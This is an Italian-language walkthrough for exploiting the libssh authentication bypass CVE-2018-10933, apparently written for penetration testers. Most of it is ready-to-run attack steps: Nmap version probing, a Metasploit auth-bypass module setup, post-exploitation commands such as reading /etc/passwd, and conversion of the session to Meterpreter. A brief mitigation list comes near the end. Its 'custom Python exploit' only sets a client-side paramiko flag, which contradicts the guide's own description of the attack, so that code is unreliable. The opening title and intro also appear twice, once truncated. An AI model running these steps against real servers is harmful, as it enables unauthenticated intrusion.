Guida all'Exploitation di un Server SSH Vulnerabile (libssh 0.6.0 - 0.8.0)
In questa guida analizzeremo un caso classico di exploitation su un server SSH vulnerabile che utilizza la libreria libssh nelle versioni dalla 0.6.0 alla 0.8.0. La vulnerabilità CVE-2018-10933 è ben
Guida all'Exploitation di un Server SSH Vulnerabile (libssh 0.6.0 - 0.8.0)
Introduzione
In questa guida analizzeremo un caso classico di exploitation su un server SSH vulnerabile che utilizza la libreria libssh nelle versioni dalla 0.6.0 alla 0.8.0. La vulnerabilità (CVE-2018-10933) è ben nota e sfruttabile per ottenere accesso remoto non autenticato con privilegi elevati.
Descrizione della vulnerabilità
La libreria libssh consente, a causa di una cattiva gestione dello stato interno del protocollo SSH, di bypassare completamente il processo di autenticazione. Un utente malevolo può inviare direttamente un messaggio SSH2_MSG_USERAUTH_SUCCESS al server, facendogli credere che l'autenticazione sia andata a buon fine.
🚧 Questa vulnerabilità NON colpisce OpenSSH, ma solo software che utilizzano la libreria libssh come backend SSH.
Identificazione della vulnerabilità
Enumerazione con Nmap
nmap -p 22 --script ssh2-enum-algos <target-ip>Verifica della versione del servizio:
nmap -sV -p 22 <target-ip>Risultato atteso:
22/tcp open ssh libssh 0.7.0Sfruttamento con Metasploit
Modulo disponibile:
auxiliary/scanner/ssh/libssh_auth_bypassConfigurazione del modulo:
use auxiliary/scanner/ssh/libssh_auth_bypass
set RHOSTS <target-ip>
set RPORT 22
set SPAWN_PTY true
runIl parametro SPAWN_PTY true consente di ottenere una shell più stabile e interattiva.
Post-Exploitation
Una volta ottenuta l'accesso alla shell remota, è possibile:
- Verificare i privilegi:
whoami,id
- Esplorare il filesystem:
ls,cat,cd
- Enumerare utenti e configurazioni:
cat /etc/passwd,netstat -tulnp,ps aux
- Caricare un payload Meterpreter per sessioni avanzate
Conversione della Shell in Meterpreter
Se si desidera elevare la shell a Meterpreter:
sessions
sessions -u <session_id>oppure utilizzare:
use post/multi/manage/shell_to_meterpreter
set SESSION <session_id>
runApprofondimenti Aggiuntivi
Verifica manuale con Python
Esempio di exploit customizzato in Python:
import socket
import paramiko
ip = "<target-ip>"
port = 22
sock = socket.socket()
sock.connect((ip, port))
transport = paramiko.Transport(sock)
transport.start_client()
transport.auth_successful = True
chan = transport.open_session()
chan.invoke_shell()
chan.send("whoami\n")
print(chan.recv(1024))
Mitigazioni
- Aggiornare libssh alla versione >= 0.8.1
- Monitorare accessi SSH sospetti
- Implementare autenticazione a due fattori dove possibile
Conclusione
L'exploit della vulnerabilità su libssh rappresenta un caso esemplare di come una cattiva gestione dello stato nel protocollo possa portare a gravi falle di sicurezza. È fondamentale includere questo tipo di analisi nelle fasi di vulnerability assessment e penetration test, soprattutto su servizi di accesso remoto.
📅 Tenere sempre aggiornata la lista delle CVE applicabili ai propri asset è una delle pratiche più importanti nel ciclo di vita della sicurezza applicativa.